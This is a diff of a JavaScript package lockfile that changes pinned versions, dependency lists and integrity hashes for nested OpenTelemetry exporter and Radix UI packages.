- "@opentelemetry/exporter-trace-otlp-http/@opentelemetry/otlp-exporter-base": ["@opentelemetry/otlp-exporter-base@0.208.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-transformer": "0.208.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-gMd39gIfVb2OgxldxUtOwGJYSH8P1kVFFlJLuut32L6KgUC4gl1dMhn+YC2mGn0bDOiQYSk/uHOdSjuKp58vvA=="],
+ "@opentelemetry/exporter-logs-otlp-grpc/@opentelemetry/otlp-exporter-base": ["@opentelemetry/otlp-exporter-base@0.207.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-transformer": "0.207.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-4RQluMVVGMrHok/3SVeSJ6EnRNkA2MINcX88sh+d/7DjGUrewW/WT88IsMEci0wUM+5ykTpPPNbEOoW+jwHnbw=="],
- "@opentelemetry/exporter-trace-otlp-http/@opentelemetry/otlp-transformer": ["@opentelemetry/otlp-transformer@0.208.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.208.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-logs": "0.208.0", "@opentelemetry/sdk-metrics": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0", "protobufjs": "^7.3.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-DCFPY8C6lAQHUNkzcNT9R+qYExvsk6C5Bto2pbNxgicpcSWbe2WHShLxkOxIdNcBiYPdVHv/e7vH7K6TI+C+fQ=="],
+ "@opentelemetry/exporter-logs-otlp-grpc/@opentelemetry/otlp-transformer": ["@opentelemetry/otlp-transformer@0.207.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.207.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-logs": "0.207.0", "@opentelemetry/sdk-metrics": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0", "protobufjs": "^7.3.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-+6DRZLqM02uTIY5GASMZWUwr52sLfNiEe20+OEaZKhztCs3+2LxoTjb6JxFRd9q1qNqckXKYlUKjbH/AhG8/ZA=="],
+
+ "@opentelemetry/exporter-logs-otlp-http/@opentelemetry/otlp-exporter-base": ["@opentelemetry/otlp-exporter-base@0.207.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-transformer": "0.207.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-4RQluMVVGMrHok/3SVeSJ6EnRNkA2MINcX88sh+d/7DjGUrewW/WT88IsMEci0wUM+5ykTpPPNbEOoW+jwHnbw=="],
+
+ "@opentelemetry/exporter-logs-otlp-http/@opentelemetry/otlp-transformer": ["@opentelemetry/otlp-transformer@0.207.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.207.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-logs": "0.207.0", "@opentelemetry/sdk-metrics": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0", "protobufjs": "^7.3.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-+6DRZLqM02uTIY5GASMZWUwr52sLfNiEe20+OEaZKhztCs3+2LxoTjb6JxFRd9q1qNqckXKYlUKjbH/AhG8/ZA=="],
+
+ "@opentelemetry/exporter-logs-otlp-proto/@opentelemetry/otlp-exporter-base": ["@opentelemetry/otlp-exporter-base@0.207.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-transformer": "0.207.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-4RQluMVVGMrHok/3SVeSJ6EnRNkA2MINcX88sh+d/7DjGUrewW/WT88IsMEci0wUM+5ykTpPPNbEOoW+jwHnbw=="],
+
+ "@opentelemetry/exporter-logs-otlp-proto/@opentelemetry/otlp-transformer": ["@opentelemetry/otlp-transformer@0.207.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.207.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-logs": "0.207.0", "@opentelemetry/sdk-metrics": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0", "protobufjs": "^7.3.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-+6DRZLqM02uTIY5GASMZWUwr52sLfNiEe20+OEaZKhztCs3+2LxoTjb6JxFRd9q1qNqckXKYlUKjbH/AhG8/ZA=="],
+
+ "@opentelemetry/exporter-metrics-otlp-grpc/@opentelemetry/otlp-exporter-base": ["@opentelemetry/otlp-exporter-base@0.207.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-transformer": "0.207.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-4RQluMVVGMrHok/3SVeSJ6EnRNkA2MINcX88sh+d/7DjGUrewW/WT88IsMEci0wUM+5ykTpPPNbEOoW+jwHnbw=="],
+
+ "@opentelemetry/exporter-metrics-otlp-grpc/@opentelemetry/otlp-transformer": ["@opentelemetry/otlp-transformer@0.207.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.207.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-logs": "0.207.0", "@opentelemetry/sdk-metrics": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0", "protobufjs": "^7.3.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-+6DRZLqM02uTIY5GASMZWUwr52sLfNiEe20+OEaZKhztCs3+2LxoTjb6JxFRd9q1qNqckXKYlUKjbH/AhG8/ZA=="],
+
+ "@opentelemetry/exporter-metrics-otlp-http/@opentelemetry/otlp-exporter-base": ["@opentelemetry/otlp-exporter-base@0.207.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-transformer": "0.207.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-4RQluMVVGMrHok/3SVeSJ6EnRNkA2MINcX88sh+d/7DjGUrewW/WT88IsMEci0wUM+5ykTpPPNbEOoW+jwHnbw=="],
+
+ "@opentelemetry/exporter-metrics-otlp-http/@opentelemetry/otlp-transformer": ["@opentelemetry/otlp-transformer@0.207.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.207.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-logs": "0.207.0", "@opentelemetry/sdk-metrics": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0", "protobufjs": "^7.3.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-+6DRZLqM02uTIY5GASMZWUwr52sLfNiEe20+OEaZKhztCs3+2LxoTjb6JxFRd9q1qNqckXKYlUKjbH/AhG8/ZA=="],
+
+ "@opentelemetry/exporter-metrics-otlp-proto/@opentelemetry/otlp-exporter-base": ["@opentelemetry/otlp-exporter-base@0.207.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-transformer": "0.207.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-4RQluMVVGMrHok/3SVeSJ6EnRNkA2MINcX88sh+d/7DjGUrewW/WT88IsMEci0wUM+5ykTpPPNbEOoW+jwHnbw=="],
+
+ "@opentelemetry/exporter-metrics-otlp-proto/@opentelemetry/otlp-transformer": ["@opentelemetry/otlp-transformer@0.207.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.207.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-logs": "0.207.0", "@opentelemetry/sdk-metrics": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0", "protobufjs": "^7.3.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-+6DRZLqM02uTIY5GASMZWUwr52sLfNiEe20+OEaZKhztCs3+2LxoTjb6JxFRd9q1qNqckXKYlUKjbH/AhG8/ZA=="],
+
+ "@opentelemetry/exporter-trace-otlp-grpc/@opentelemetry/otlp-exporter-base": ["@opentelemetry/otlp-exporter-base@0.207.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-transformer": "0.207.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-4RQluMVVGMrHok/3SVeSJ6EnRNkA2MINcX88sh+d/7DjGUrewW/WT88IsMEci0wUM+5ykTpPPNbEOoW+jwHnbw=="],
+
+ "@opentelemetry/exporter-trace-otlp-grpc/@opentelemetry/otlp-transformer": ["@opentelemetry/otlp-transformer@0.207.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.207.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-logs": "0.207.0", "@opentelemetry/sdk-metrics": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0", "protobufjs": "^7.3.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-+6DRZLqM02uTIY5GASMZWUwr52sLfNiEe20+OEaZKhztCs3+2LxoTjb6JxFRd9q1qNqckXKYlUKjbH/AhG8/ZA=="],
+
+ "@opentelemetry/exporter-trace-otlp-proto/@opentelemetry/otlp-exporter-base": ["@opentelemetry/otlp-exporter-base@0.207.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-transformer": "0.207.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-4RQluMVVGMrHok/3SVeSJ6EnRNkA2MINcX88sh+d/7DjGUrewW/WT88IsMEci0wUM+5ykTpPPNbEOoW+jwHnbw=="],
+
+ "@opentelemetry/exporter-trace-otlp-proto/@opentelemetry/otlp-transformer": ["@opentelemetry/otlp-transformer@0.207.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.207.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-logs": "0.207.0", "@opentelemetry/sdk-metrics": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0", "protobufjs": "^7.3.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-+6DRZLqM02uTIY5GASMZWUwr52sLfNiEe20+OEaZKhztCs3+2LxoTjb6JxFRd9q1qNqckXKYlUKjbH/AhG8/ZA=="],
+
+ "@opentelemetry/otlp-grpc-exporter-base/@opentelemetry/otlp-exporter-base": ["@opentelemetry/otlp-exporter-base@0.207.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-transformer": "0.207.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-4RQluMVVGMrHok/3SVeSJ6EnRNkA2MINcX88sh+d/7DjGUrewW/WT88IsMEci0wUM+5ykTpPPNbEOoW+jwHnbw=="],
+
+ "@opentelemetry/otlp-grpc-exporter-base/@opentelemetry/otlp-transformer": ["@opentelemetry/otlp-transformer@0.207.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.207.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-logs": "0.207.0", "@opentelemetry/sdk-metrics": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0", "protobufjs": "^7.3.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-+6DRZLqM02uTIY5GASMZWUwr52sLfNiEe20+OEaZKhztCs3+2LxoTjb6JxFRd9q1qNqckXKYlUKjbH/AhG8/ZA=="],
+
+ "@opentelemetry/otlp-transformer/@opentelemetry/api-logs": ["@opentelemetry/api-logs@0.208.0", "", { "dependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-CjruKY9V6NMssL/T1kAFgzosF1v9o6oeN+aX5JB/C/xPNtmgIJqcXHG7fA82Ou1zCpWGl4lROQUKwUNE1pMCyg=="],
+
+ "@opentelemetry/otlp-transformer/@opentelemetry/sdk-logs": ["@opentelemetry/sdk-logs@0.208.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.208.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0" }, "peerDependencies": { "@opentelemetry/api": ">=1.4.0 <1.10.0" } }, "sha512-QlAyL1jRpOeaqx7/leG1vJMp84g0xKP6gJmfELBpnI4O/9xPX+Hu5m1POk9Kl+veNkyth5t19hRlN6tNY1sjbA=="],
+
+ "@opentelemetry/otlp-transformer/protobufjs": ["protobufjs@7.4.0", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-mRUWCc3KUU4w1jU8sGxICXH/gNS94DvI1gxqDvBzhj1JpcsimQkYiOJfwsPUykUI5ZaspFbSgmBLER8IrQ3tqw=="],
"@opentelemetry/sdk-node/@opentelemetry/exporter-trace-otlp-http": ["@opentelemetry/exporter-trace-otlp-http@0.207.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-exporter-base": "0.207.0", "@opentelemetry/otlp-transformer": "0.207.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-HSRBzXHIC7C8UfPQdu15zEEoBGv0yWkhEwxqgPCHVUKUQ9NLHVGXkVrf65Uaj7UwmAkC1gQfkuVYvLlD//AnUQ=="],
- "@radix-ui/react-alert-dialog/@radix-ui/primitive": ["@radix-ui/primitive@1.1.3", "", {}, "sha512-JTF99U/6XIjCBo0wqkU5sK10glYe27MRRsfwoiq5zzOEZLHU3A3KCMa5X/azekYRCJ0HlwI0crAXS/5dEHTzDg=="],
+ "@radix-ui/react-alert-dialog/@radix-ui/primitive": ["@radix-ui/primitive@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" } }, "sha512-3e7rn8FDMin4CgeL7Z/49smCA3rFYY3Ha2rUQ7HRWFadS5iCRw08ZgVT1LaNTCNqgvrUiyczLflrVrF0SRQtNA=="],
+
+ "@radix-ui/react-alert-dialog/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-0KaSv6sx787/hK3eF53iOkiSLwAGlFMx5lotrqD2pTjB18KbybKoEIgkNZTKC60YECDQTKGTRcDBILwZVqVKvA=="],
+
+ "@radix-ui/react-alert-dialog/@radix-ui/react-context": ["@radix-ui/react-context@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-1pVM9RfOQ+n/N5PJK33kRSKsr1glNxomxONs5c49MliinBY6Yw2Q995qfBUUo0/Mbg05B/sGA0gkgPI7kmSHBg=="],
+
+ "@radix-ui/react-alert-dialog/@radix-ui/react-primitive": ["@radix-ui/react-primitive@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-slot": "1.0.1" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fHbmislWVkZaIdeF6GZxF0A/NH/3BjrGIYj+Ae6eTmTCr7EB0RQAAVEiqsXK6p3/JcRqVSBQoceZroj30Jj3XA=="],
+
+ "@radix-ui/react-alert-dialog/@radix-ui/react-slot": ["@radix-ui/react-slot@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.0" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-avutXAFL1ehGvAXtPquu0YK5oz6ctS474iM3vNGQIkswrVhdrS52e3uoMQBzZhNRAIE0jBnUyXWNmSjGHhCFcw=="],
"@radix-ui/react-arrow/@radix-ui/react-primitive": ["@radix-ui/react-primitive@1.0.3", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-slot": "1.0.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-yi58uVyoAcK/Nq1inRY56ZSjKypBNKTa/1mcL8qdl6oJeEaDbOldlzrGn7P6Q3Id5d+SYNGc5AJgc4vGhjs5+g=="],
@@ -5503,11 +5697,29 @@
"@radix-ui/react-collapsible/@radix-ui/react-presence": ["@radix-ui/react-presence@1.1.4", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-ueDqRbdc4/bkaQT3GIpLQssRlFgWaL/U2z/S31qRwwLWoxHLgry3SIfCwhxeQNbirEUXFa+lq3RL3oBYXtcmIA=="],
- "@radix-ui/react-dialog/@radix-ui/primitive": ["@radix-ui/primitive@1.1.3", "", {}, "sha512-JTF99U/6XIjCBo0wqkU5sK10glYe27MRRsfwoiq5zzOEZLHU3A3KCMa5X/azekYRCJ0HlwI0crAXS/5dEHTzDg=="],
+ "@radix-ui/react-dialog/@radix-ui/primitive": ["@radix-ui/primitive@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" } }, "sha512-3e7rn8FDMin4CgeL7Z/49smCA3rFYY3Ha2rUQ7HRWFadS5iCRw08ZgVT1LaNTCNqgvrUiyczLflrVrF0SRQtNA=="],
- "@radix-ui/react-dialog/@radix-ui/react-presence": ["@radix-ui/react-presence@1.1.5", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-/jfEwNDdQVBCNvjkGit4h6pMOzq8bHkopq458dPt2lMjx+eBQUohZNG9A7DtO/O5ukSbxuaNGXMjHicgwy6rQQ=="],
+ "@radix-ui/react-dialog/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-0KaSv6sx787/hK3eF53iOkiSLwAGlFMx5lotrqD2pTjB18KbybKoEIgkNZTKC60YECDQTKGTRcDBILwZVqVKvA=="],
- "@radix-ui/react-dismissable-layer/@radix-ui/primitive": ["@radix-ui/primitive@1.1.3", "", {}, "sha512-JTF99U/6XIjCBo0wqkU5sK10glYe27MRRsfwoiq5zzOEZLHU3A3KCMa5X/azekYRCJ0HlwI0crAXS/5dEHTzDg=="],
+ "@radix-ui/react-dialog/@radix-ui/react-context": ["@radix-ui/react-context@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-1pVM9RfOQ+n/N5PJK33kRSKsr1glNxomxONs5c49MliinBY6Yw2Q995qfBUUo0/Mbg05B/sGA0gkgPI7kmSHBg=="],
+
+ "@radix-ui/react-dialog/@radix-ui/react-id": ["@radix-ui/react-id@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-use-layout-effect": "1.0.0" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-Q6iAB/U7Tq3NTolBBQbHTgclPmGWE3OlktGGqrClPozSw4vkQ1DfQAOtzgRPecKsMdJINE05iaoDUG8tRzCBjw=="],
+
+ "@radix-ui/react-dialog/@radix-ui/react-presence": ["@radix-ui/react-presence@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.0", "@radix-ui/react-use-layout-effect": "1.0.0" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-A+6XEvN01NfVWiKu38ybawfHsBjWum42MRPnEuqPsBZ4eV7e/7K321B5VgYMPv3Xx5An6o1/l9ZuDBgmcmWK3w=="],
+
+ "@radix-ui/react-dialog/@radix-ui/react-primitive": ["@radix-ui/react-primitive@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-slot": "1.0.1" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fHbmislWVkZaIdeF6GZxF0A/NH/3BjrGIYj+Ae6eTmTCr7EB0RQAAVEiqsXK6p3/JcRqVSBQoceZroj30Jj3XA=="],
+
+ "@radix-ui/react-dialog/@radix-ui/react-slot": ["@radix-ui/react-slot@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.0" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-avutXAFL1ehGvAXtPquu0YK5oz6ctS474iM3vNGQIkswrVhdrS52e3uoMQBzZhNRAIE0jBnUyXWNmSjGHhCFcw=="],
+
+ "@radix-ui/react-dialog/@radix-ui/react-use-controllable-state": ["@radix-ui/react-use-controllable-state@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-use-callback-ref": "1.0.0" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-FohDoZvk3mEXh9AWAVyRTYR4Sq7/gavuofglmiXB2g1aKyboUD4YtgWxKj8O5n+Uak52gXQ4wKz5IFST4vtJHg=="],
+
+ "@radix-ui/react-dismissable-layer/@radix-ui/primitive": ["@radix-ui/primitive@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" } }, "sha512-3e7rn8FDMin4CgeL7Z/49smCA3rFYY3Ha2rUQ7HRWFadS5iCRw08ZgVT1LaNTCNqgvrUiyczLflrVrF0SRQtNA=="],
+
+ "@radix-ui/react-dismissable-layer/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-0KaSv6sx787/hK3eF53iOkiSLwAGlFMx5lotrqD2pTjB18KbybKoEIgkNZTKC60YECDQTKGTRcDBILwZVqVKvA=="],
+
+ "@radix-ui/react-dismissable-layer/@radix-ui/react-primitive": ["@radix-ui/react-primitive@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-slot": "1.0.1" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fHbmislWVkZaIdeF6GZxF0A/NH/3BjrGIYj+Ae6eTmTCr7EB0RQAAVEiqsXK6p3/JcRqVSBQoceZroj30Jj3XA=="],
+
+ "@radix-ui/react-dismissable-layer/@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-GZtyzoHz95Rhs6S63D2t/eqvdFCm7I+yHMLVQheKM7nBD8mbZIt+ct1jz4536MDnaOGKIxynJ8eHTkVGVVkoTg=="],
"@radix-ui/react-dropdown-menu/@radix-ui/primitive": ["@radix-ui/primitive@1.1.0", "", {}, "sha512-4Z8dn6Upk0qk4P74xBhZ6Hd/w0mPEzOOLxy4xiPXOXqjF7jZS0VAKk7/x/H6FyY2zCkYJqePf1G5KmkmNJ4RBA=="],
@@ -5521,6 +5733,12 @@
"@radix-ui/react-dropdown-menu/@radix-ui/react-use-controllable-state": ["@radix-ui/react-use-controllable-state@1.1.0", "", { "dependencies": { "@radix-ui/react-use-callback-ref": "1.1.0" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-MtfMVJiSr2NjzS0Aa90NPTnvTSg6C/JLCV7ma0W6+OMV78vd8OyRpID+Ng9LxzsPbLeuBnWBA1Nq30AtBIDChw=="],
+ "@radix-ui/react-focus-scope/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-0KaSv6sx787/hK3eF53iOkiSLwAGlFMx5lotrqD2pTjB18KbybKoEIgkNZTKC60YECDQTKGTRcDBILwZVqVKvA=="],
+
+ "@radix-ui/react-focus-scope/@radix-ui/react-primitive": ["@radix-ui/react-primitive@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-slot": "1.0.1" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fHbmislWVkZaIdeF6GZxF0A/NH/3BjrGIYj+Ae6eTmTCr7EB0RQAAVEiqsXK6p3/JcRqVSBQoceZroj30Jj3XA=="],
+
+ "@radix-ui/react-focus-scope/@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-GZtyzoHz95Rhs6S63D2t/eqvdFCm7I+yHMLVQheKM7nBD8mbZIt+ct1jz4536MDnaOGKIxynJ8eHTkVGVVkoTg=="],
+
"@radix-ui/react-hover-card/@radix-ui/primitive": ["@radix-ui/primitive@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" } }, "sha512-yQ8oGX2GVsEYMWGxcovu1uGWPCxV5BFfeeYxqPmuAzUyLT9qmaMXSAhXpb0WrspIeqYzdJpkh2vHModJPgRIaw=="],
"@radix-ui/react-hover-card/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fDSBgd44FKHa1FRMU59qBMPFcl2PZE+2nmqunj+BWFyYYjnhIDWL2ItDs3rrbJDQOtzt5nIebLCQc4QRfz6LJw=="],
@@ -5567,8 +5785,6 @@
"@radix-ui/react-menu/@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.1.0", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-CasTfvsy+frcFkbXtSJ2Zu9JHpN8TYKxkgJGWbjiZhFivxaeW7rMeZt7QELGVLaYVfFMsKHjb7Ak0nMEe+2Vfw=="],
- "@radix-ui/react-menu/react-remove-scroll": ["react-remove-scroll@2.5.5", "", { "dependencies": { "react-remove-scroll-bar": "^2.3.3", "react-style-singleton": "^2.2.1", "tslib": "^2.1.0", "use-callback-ref": "^1.3.0", "use-sidecar": "^1.1.2" }, "peerDependencies": { "@types/react": "^16.8.0 || ^17.0.0 || ^18.0.0", "react": "^16.8.0 || ^17.0.0 || ^18.0.0" } }, "sha512-ImKhrzJJsyXJfBZ4bzu8Bwpka14c/fQt0k+cyFp/PBhTfyDnU5hjOtM4AG/0AMyy8oKzOTR0lDgJIM7pYXI0kw=="],
-
"@radix-ui/react-popover/@radix-ui/primitive": ["@radix-ui/primitive@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" } }, "sha512-yQ8oGX2GVsEYMWGxcovu1uGWPCxV5BFfeeYxqPmuAzUyLT9qmaMXSAhXpb0WrspIeqYzdJpkh2vHModJPgRIaw=="],
"@radix-ui/react-popover/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fDSBgd44FKHa1FRMU59qBMPFcl2PZE+2nmqunj+BWFyYYjnhIDWL2ItDs3rrbJDQOtzt5nIebLCQc4QRfz6LJw=="],
@@ -5591,8 +5807,6 @@
"@radix-ui/react-popover/@radix-ui/react-use-controllable-state": ["@radix-ui/react-use-controllable-state@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-use-callback-ref": "1.0.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-Svl5GY5FQeN758fWKrjM6Qb7asvXeiZltlT4U2gVfl8Gx5UAv2sMR0LWo8yhsIZh2oQ0eFdZ59aoOOMV7b47VA=="],
